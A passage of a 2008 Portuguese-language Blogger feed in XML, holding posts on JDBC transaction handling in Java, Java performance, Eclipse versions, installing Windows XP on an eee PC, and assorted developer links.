src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-798926185084687845</id><published>2008-12-29T11:17:00.000-08:00</published><updated>2009-02-11T05:24:58.481-08:00</updated><title type='text'>Guia prático: Conexões com BD em Java</title><content type='html'>Pessoal&lt;br /&gt;&lt;br /&gt;Veja neste artigo.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;O que você NÃO PODE FAZER e o que você DEVE fazer na hora de desenvolver sua DAO, ou até mesmo se estiveres programando sem nenhum conceito de MVC.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Vamos pegar o exemplo do ORACLE, existem alguns erros que podem ser evitados com boas práticas de programação, são eles:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;ORA-12537 - Conexão fechada&lt;br /&gt;&lt;br /&gt;ou&lt;br /&gt;&lt;br /&gt;ORA-02067 - RollBack ou commit necessário.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Vamos começar do começo, levando em conta que um Pool de conexões é utilizado para gerenciar o numero de conexões que existem entre o banco de dados e a aplicação, deve-se saber que uma conexão, em um container web para Java, tanbém é um Objeto java. Esse objeto precisa ser usado e depois liberado. É preciso que você saiba quando fechar uma conexão, falando em transações, é preciso saber quando você precisa usar uma transação, quando você precisa commitar uma transação e quando você precisa fazer o rollback da mesma. Lembrando que a hora certa de encerrar uma conexão tanbém é importantíssima.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;O ideal&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Hoje em dia, o mercado já disponibiliza adminsitração de contextos transacionais nos frameworks existentes, o EJB por exemplo, possui conceitos próprios que evitam esse tipo de problema citado acima, a sigla EJB CMP e EJB BMP tem significados muito importantes, vejamos o que significam:&lt;br /&gt;&lt;br /&gt;EJB CMP: Enterprise Java Beans - Container Managed Persistence: Beans que possuem o controle de persistência e transações à cargo do container. Ou seja, o servidor de aplicações Java EE é quem controla as transações de banco, o desenvolvedor só precisa executar as ações correspondentes de banco MERGE, PERSIST, DELETE, executeUpdate através de native querys, etc. Esse modelo é o recomendado para programadores iniciantes (e até experientes), pois traz a garantia de que os problemas citados acima nunca ocorrerão e a probabilidade de seu sistema "DERRUBAR" outro, eu considero como NULA.&lt;br /&gt;&lt;br /&gt;EJB BMP: Enterprise Java Beans - Bean Managed Persistence: Beans que têm o controle de persistência e transações definidos em sua própria estrutura. Deste modo o programador obrigatóriamente precisa saber o que esta fazendo, assim como ele ja deveria saber quando programa sem auxílio de nenhum framework ( Na minha visão EJB é um serviço de série e não opcional, mas essa é opinião pessoal ). Em resumo, o desenvolvedor programa explicitamente o início da transação, a execução das ações na mesma, o commit dela e precisa prever excessões e tratá-las da melhor forma. O Container não irá interferir, o que estiver em seu código será executado. Não recomendado para usuários que "Não leem o manual" antes de iniciar o desenvolvimento.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Vamos ao código de braço:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Scriplets:&lt;br /&gt;&lt;br /&gt;COMO FAZER UMA TRANSAÇÃO:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// Insira um bloco de tratamento&lt;br /&gt;&lt;br /&gt;try {&lt;br /&gt;&lt;br /&gt;} catch (ExceptionApropriada e) {&lt;br /&gt;    // tratamento apropriado&lt;br /&gt;    e....&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Não esqueça de inserir o bloco finally&lt;br /&gt;&lt;br /&gt;try {&lt;br /&gt;&lt;br /&gt;} catch ... {&lt;br /&gt;&lt;br /&gt;} finally {&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Execute as funções na ordem correta&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;try {&lt;br /&gt;    // 1 - Abra a conexão&lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;    // 2 - Execute seus SQLS update, insert, delete, selects, na ordem que julgares necessária&lt;br /&gt;&lt;br /&gt;    // 3 - Execute comando de commit&lt;br /&gt;&lt;br /&gt;} catch ... {&lt;br /&gt;    &lt;br /&gt;    // 4 - Ocorreu um erro.. nao exite, efetue o rollback aqui&lt;br /&gt;&lt;br /&gt;    minhaConexao.rollback();&lt;br /&gt;&lt;br /&gt;} finally {&lt;br /&gt;&lt;br /&gt;   // 5 - Encerre as conexões&lt;br /&gt;   // 6 - retire da memória objetos que incluam a conexão (preparedStatements, Statements, etc)&lt;br /&gt;&lt;br /&gt;  // 7 - Informe-se da necessidade de como retornar essa conexão ao pool (se com autocommit, se sem autocommit, vide leitura do link abaixo)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   con.setAutoCommit(true);&lt;br /&gt;   con.setAutoCommit(false);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dúvidas:&lt;br /&gt;&lt;a target="_blank" href="http://java.sun.com/docs/books/tutorial/jdbc/basics/transactions.html"&gt;Acesse o site da SUN e &lt;span style="font-weight:bold;"&gt;leia o manual&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Abraço pessoal.&lt;br /&gt;&lt;br /&gt;E juízo ao desenvolver seus códigos. Com banco de dados não se brinca. Não se esqueça, &lt;span style="font-weight:bold;"&gt;"Leia o manual".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Por Polentero (&lt;a href="http://www.polentero.com.br" target="_blank"&gt;http://www.polentero.com.br&lt;/a&gt;).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-798926185084687845?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/798926185084687845/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=798926185084687845&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/798926185084687845'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/798926185084687845'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/01/guia-prtico-conexes-com-bd-em-java.html' title='Guia prático: Conexões com BD em Java'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-1412677962021933533</id><published>2008-12-11T05:23:00.000-08:00</published><updated>2008-12-12T04:57:06.164-08:00</updated><title type='text'>Java: Velocidade não resolve os problemas</title><content type='html'>Vemos por ai muitos comentários de extremistas que defendem linguagens emergentes como solução magnífica contra o uso de Java.&lt;br /&gt;&lt;br /&gt;Muitos dizem que não gostam de usar java, com um único argumento; "Java é lento".&lt;br /&gt;&lt;br /&gt;É claro, velocidade é importante sempre, mas não pode ser decretado parâmetro crucial para que uma plataforma seja considerada ruim, até porque velocidade é alcançada com o desenvolvimento correto. Talvez esteja aí o motivo das reclamações que na minha opinião são irreais.&lt;br /&gt;&lt;br /&gt;Um exemplo bem atual que li em uma reportagem(cujo link indico abaixo); Felipe Massa da ferrari é o mais rápido da temporada F1 2008, porém não é o campeão mundial.&lt;br /&gt;&lt;br /&gt;O fato de que um sistema feito em alguma plataforma de baixo-nível pode fazê-lo rodar mais rápido, porém pode significar que ele possui um conjunto de componentes e funcionalidades limitadas e até mesmo não certificadas por quem entende do assunto (vide uma JSR que se aplica ao Java). Isso significa que, essa linguagem não é confiável o bastante para garantir estabilidade de um sistema importante. &lt;br /&gt;&lt;br /&gt;Outro ponto importante em se falar é a robustêz de um sistema, é realmente notável a quantidade de alternativas que a Sun disponibiliza para solucionar essa questão. Se tua aplicação usa Java e é lenta para tratar um volume considerável de dados, ou até mesmo volume pequeno, é porque você não esta usando soluções eficientes e apropriadas para a situação. Aplicações grandes, com grande volume de dados, tendem a se tornar mais estáveis com Java. A forma como se administram contâiners de aplicações Java traz soluções inteligentes e CERTIFICADAS para que tudo se rode de maneira correta, sob sol ou chuva. Entre essas soluções podemos citar uso de cache, uso de escopos pouco aproveitados por demais aplicações (Aplication, Session) e as soluções Java sabem aproveitar uma sessão aberta com o servidor de forma inteligente, se existe session e application, temos que usar (de forma correta), a fim de não onerar tudo à partir do request, isso é passado, além disso temos outras soluções práticas como aproveitamento de requisições, componentização inteligente à partir de reflexão. &lt;br /&gt;&lt;br /&gt;Em resumo, antes de comparar seu burro com o do vizinho, tome nota do que é feito para que o burro do vizinho seja pior que o seu.&lt;br /&gt;&lt;br /&gt;Isso vale para o Chrome, que na minha opinião esta caminhando muito bem, não tenho criticas sobre ele (até porque usei-o muito pouco), mas não é só na velocidade que ele vai ganhar espaço, precisa algo mais.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.adnews.com.br/tecnologia.php?id=78974" target="_blank"&gt; Matéria do site adnews &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-1412677962021933533?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/1412677962021933533/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=1412677962021933533&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/1412677962021933533'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/1412677962021933533'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2008/11/java-velocidade-no-resolve-os-problemas.html' title='Java: Velocidade não resolve os problemas'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-6148778093482877778</id><published>2008-11-03T15:30:00.000-08:00</published><updated>2008-12-12T04:46:48.582-08:00</updated><title type='text'>Eclipse: Amostra de versões</title><content type='html'>Muitos tendem à realizar comparações entre IDEs do mercado com o eclipse, o que não sabem, é que o eclipse mudou (e muito) nos ultimos anos. Atualmente não conheço uma IDE mais completa do que o Eclipse, as vezes o principal fator é a parte de interface e usabilidade das facilidades para a montagem da página, o Eclipse evoluiu muito nos ultimos anos, e o que já era bom ficou ainda melhor.&lt;br /&gt;&lt;br /&gt;Atualmente temos duas opções básicas, o MyEclipse que dá uma facilidade avançada ao usuário até por ser pago, e o Eclipse Europa, Winter ou Ganymede (sempre em evolução), entre outras versões sempre lançadas no site &lt;a href="http://www.eclipse.org" target="_blank"&gt;eclipse.org&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;Sobre diferenças entre o MyEclipse e essas versões acho que são poucas, algumas empresas optam por tê-lo, até pelo suporte maior que terá, mas pessoalmente eu sempre baixo-o do eclipse.org veja, você pode conferir a mais nova versão, e que eu considero perfeita, baixe grátis abaixo:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.eclipse.org/downloads/packages/" target="_blank"&gt; Eclipse Ganymede Download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Caso sinta falta de alguma coisa, a segunda opção é o MyEclipse:&lt;br /&gt;&lt;br /&gt;Veja mais do MyEclipse no Link abaixo (ou compre):&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.myeclipseide.com/htmlpages-func-display-pid-14.html?gclid=CLP4paaGnpcCFQoHswodq22k_Q" target="_blank"&gt;MyEclipse Java Server Faces (JSF) Developer&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Temos abaixo algumas fotos do que se pode fazer com o eclipse (no caso o MyEclipse) nos dias atuais (Não vi nenhuma funcionalidade que o Ganymede ainda não tenha, mas não custa conferir bem, pois acredito que elas existam):&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.myeclipseide.com/documentation/quickstarts/jsfdesigner_overview/images/vpd_overview_selection_tooltip.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 437px; height: 77px;" src="http://www.myeclipseide.com/documentation/quickstarts/jsfdesigner_overview/images/vpd_overview_selection_tooltip.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.myeclipseide.com/documentation/quickstarts/jsfdesigner_overview/images/vpd_overview_palette.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 224px; height: 419px;" src="http://www.myeclipseide.com/documentation/quickstarts/jsfdesigner_overview/images/vpd_overview_palette.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.myeclipseide.com/documentation/quickstarts/jsfdesigner_overview/images/vpd_overview_preview.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 470px; height: 353px;" src="http://www.myeclipseide.com/documentation/quickstarts/jsfdesigner_overview/images/vpd_overview_preview.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.myeclipseide.com/documentation/quickstarts/jsfdesigner_overview/images/vpd_overview_editor_layout.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 522px; height: 460px;" src="http://www.myeclipseide.com/documentation/quickstarts/jsfdesigner_overview/images/vpd_overview_editor_layout.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.myeclipseide.com/documentation/quickstarts/jsfdesigner_overview/images/vpd_overview_open_with.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 604px; height: 181px;" src="http://www.myeclipseide.com/documentation/quickstarts/jsfdesigner_overview/images/vpd_overview_open_with.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.myeclipseide.com/documentation/quickstarts/jsfdesigner_overview/images/JSF_Designer_Outline_View.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 670px; height: 533px;" src="http://www.myeclipseide.com/documentation/quickstarts/jsfdesigner_overview/images/JSF_Designer_Outline_View.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-6148778093482877778?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/6148778093482877778/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=6148778093482877778&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6148778093482877778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6148778093482877778'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2008/11/eclipse-amostra-de-verses.html' title='Eclipse: Amostra de versões'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-874336399047155191</id><published>2008-11-02T02:59:00.000-08:00</published><updated>2008-12-12T04:47:43.892-08:00</updated><title type='text'>JMF - Java Media Framework</title><content type='html'>Seguem tutoriais e a especificação: &lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" href="http://java.sun.com/javase/technologies/desktop/media/jmf/2.1.1/specdownload.html"&gt;2.0 API Download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Estou desenvolvendo uma aplicação usando JMF, dentro de alguns dias (neste mesmo POST) colocarei alguns exemplos que formarão um guia prático para o uso de JMF em suas aplicações. Aguardo sua próxima visita.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-874336399047155191?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/874336399047155191/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=874336399047155191&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/874336399047155191'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/874336399047155191'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2008/12/jmf-java-media-framework.html' title='JMF - Java Media Framework'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-7104482730822098853</id><published>2008-10-20T06:43:00.000-07:00</published><updated>2008-11-06T08:03:27.047-08:00</updated><title type='text'>Preenchimento de vagas - TI</title><content type='html'>Curiosidades sobre o ramo do T.I.&lt;br /&gt;&lt;br /&gt;Vejam o link:&lt;br /&gt;&lt;br /&gt;&lt;a href="   http://www.convergenciadigital.com.br/publique/cgi/cgilua.exe/sys/start.htm?infoid=16363&amp;sid=46"&gt; New Age Software não consegue preencher vagas de profissionais de TI &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-7104482730822098853?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/7104482730822098853/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=7104482730822098853&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/7104482730822098853'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/7104482730822098853'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2008/10/nunca-deixe-de-se-especializar.html' title='Preenchimento de vagas - TI'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-6788172987731363741</id><published>2008-10-07T11:06:00.000-07:00</published><updated>2008-10-22T06:59:30.466-07:00</updated><title type='text'>Dica: Instalar WinXP no eee PC</title><content type='html'>&lt;span style="font-weight:bold;"&gt;working e validado para EEEPC 701&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i299.photobucket.com/albums/mm298/playboy8300oo/eee-pc-xp.jpg" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;" src="http://i299.photobucket.com/albums/mm298/playboy8300oo/eee-pc-xp.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Depois de muito suor tentando instalar o windows xp no eee pc, tive diversas dificuldades ocasionadas pela falta de informações que eu tinha a respeito do assunto. Mas no fim acabei conseguindo.&lt;br /&gt;&lt;br /&gt;Observações:&lt;br /&gt;&lt;br /&gt;- Não tente utilizar windows XP SP1, é preciso de um cd do xp com o SP2 já presente no instalador.&lt;br /&gt;&lt;br /&gt;- Windows 2000 não funcionou para mim.&lt;br /&gt;&lt;br /&gt;Vamos aos passos.&lt;br /&gt;&lt;br /&gt;1) Crie um pendrive bootavel através do link abaixo (Siga EXATAMENTE os passos) :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://cuiabanotech.blogspot.com/2008/03/como-instalar-o-windows-xp-no-asus-eee_18.html" target="_blank"&gt;Tutorial, siga até o fim da criação do pendrive&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2) Durante a instalação do windows,após copia inicial, você irá retirar o pendrive e aparecerá um erro indicando a falta de hal.dll no seu sistema não se desespere. Isso é devido ao fato de o sistema não encontrar o lugar certo para bootar, reinicie e na seleção de boot escolha a opção 3 (REPAIR), o instalador do windows irá continuar no modo gráfico. (Não esqueça de ter deixado o pendrive e bootado com ele ainda, desobedecendo a instalação do windows, para q a opção de escolha de boot apareça)&lt;br /&gt;&lt;br /&gt;3) Após instalado o windows, no primeiro restart, a mensagem do hal.dll aparecerá denovo, selecione denovo a opção 3 denovo (boot pelo USB), e o windows irá bootar, porém com a necessidade do pendrive.&lt;br /&gt;&lt;br /&gt;4) Vá em c:\boot.ini, faça um backup e crie um novo arquivo com esse nome, com o conteudo abaixo (apague o resto):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[Boot Loader]&lt;br /&gt;timeout=30&lt;br /&gt;multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;OBS: Se o seu eee pc não for o 701, você precisa acertar o arquivo de boot para inicializar pela partição que vc preferir ( pois possui 2 HDs em algumas versões ), acesse o site da microsoft (link abaixo) e ajuste conforme sua necessidade:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://support.microsoft.com/kb/289022" target="_blank"&gt;How to edit the Boot.ini file in Windows XP&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pronto. o windows está instalado e funcionando.&lt;br /&gt;&lt;br /&gt;A performance é incrivel, o meu eee pc esta rodando muito rápido.&lt;br /&gt;&lt;br /&gt;Abraço&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-6788172987731363741?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/6788172987731363741/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=6788172987731363741&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6788172987731363741'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6788172987731363741'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2008/10/dica-instalar-winxp-no-eee-pc.html' title='Dica: Instalar WinXP no eee PC'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-389411231868194645</id><published>2008-10-02T05:59:00.000-07:00</published><updated>2008-10-02T06:05:12.985-07:00</updated><title type='text'>Para a galera do PHP</title><content type='html'>Ta pensando o que? A rapaziada do PHP tanbém tem espaço aqui no blog da polenta!!!&lt;br /&gt;&lt;br /&gt;Andei dando uma navegada e conhecendo um pouco do PHP ARCH e venho aqui compartilhar essa "novidade" ( pra mim é ). Eu não tinha conhecimento de que uma organização pudesse se preocupar com a arquitetura de páginas PHP, no meu cotidiano (no meu tempo), o que mais via é que quem iniciava programando para a web, iniciava no PHP (pelas inúmeras facilidades de inicio que essa linguagem oferece), mas que depois. a programação era a BANGU.. cada um com suas idéias.. suas coleções de classes e codegueira..&lt;br /&gt;&lt;br /&gt;mas.. não é bem assim..&lt;br /&gt;&lt;br /&gt;Acessem o link abaixo e deem uma olhada. &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;a href="http://www.phparch.com/" target="_blank"&gt;  Clique aqui para visitar a página PHP ARCH  &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-389411231868194645?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/389411231868194645/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=389411231868194645&amp;isPopup=true' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/389411231868194645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/389411231868194645'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2008/10/para-galera-do-php.html' title='Para a galera do PHP'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-7475229939749022405</id><published>2008-09-26T10:15:00.000-07:00</published><updated>2008-09-26T10:26:26.090-07:00</updated><title type='text'>JD4X - Avalie e me diga</title><content type='html'>O JDX ou JD4X pode ser uma ferramenta que auxilie no desenvolvimento de aplicações desktop. &lt;br /&gt;&lt;br /&gt;Estou testando, divido experiências com os amigos:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sourceforge.net/projects/jdx/" target="_blank"&gt; SourceForge do JD4X &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Aguardo opinião dos colegas desenvolvedores sobre o assunto. Se você é um nerd curioso, acesse o link, instale, brinque, depois volte aqui pra me dizer o que achou.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-7475229939749022405?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/7475229939749022405/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=7475229939749022405&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/7475229939749022405'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/7475229939749022405'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2008/09/jd4x-avalie-e-me-diga.html' title='JD4X - Avalie e me diga'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-8718959350987329713</id><published>2008-09-09T14:27:00.000-07:00</published><updated>2008-09-09T14:41:52.773-07:00</updated><title type='text'>EJB 3.0 com spring 2.5</title><content type='html'>Um link interessante e didático sobre o assunto, voces podem conferir no javalobby, clicando abaixo:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" href="http://java.dzone.com/articles/ejb-30-and-spring-25"&gt; ejb-30-and-spring-25 &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-8718959350987329713?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/8718959350987329713/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=8718959350987329713&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8718959350987329713'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8718959350987329713'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2008/09/ejb-30-com-spring-25.html' title='EJB 3.0 com spring 2.5'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-2189205141626797482</id><published>2008-08-28T12:29:00.000-07:00</published><updated>2008-08-28T12:38:13.874-07:00</updated><title type='text'>Integrando Spring com JSF</title><content type='html'>Uma dica boa para quem precisa de dicas para integrar Spring com Java Server Faces, vocês podem conferir nessa url abaixo, do meu amigo 7Facas:&lt;br 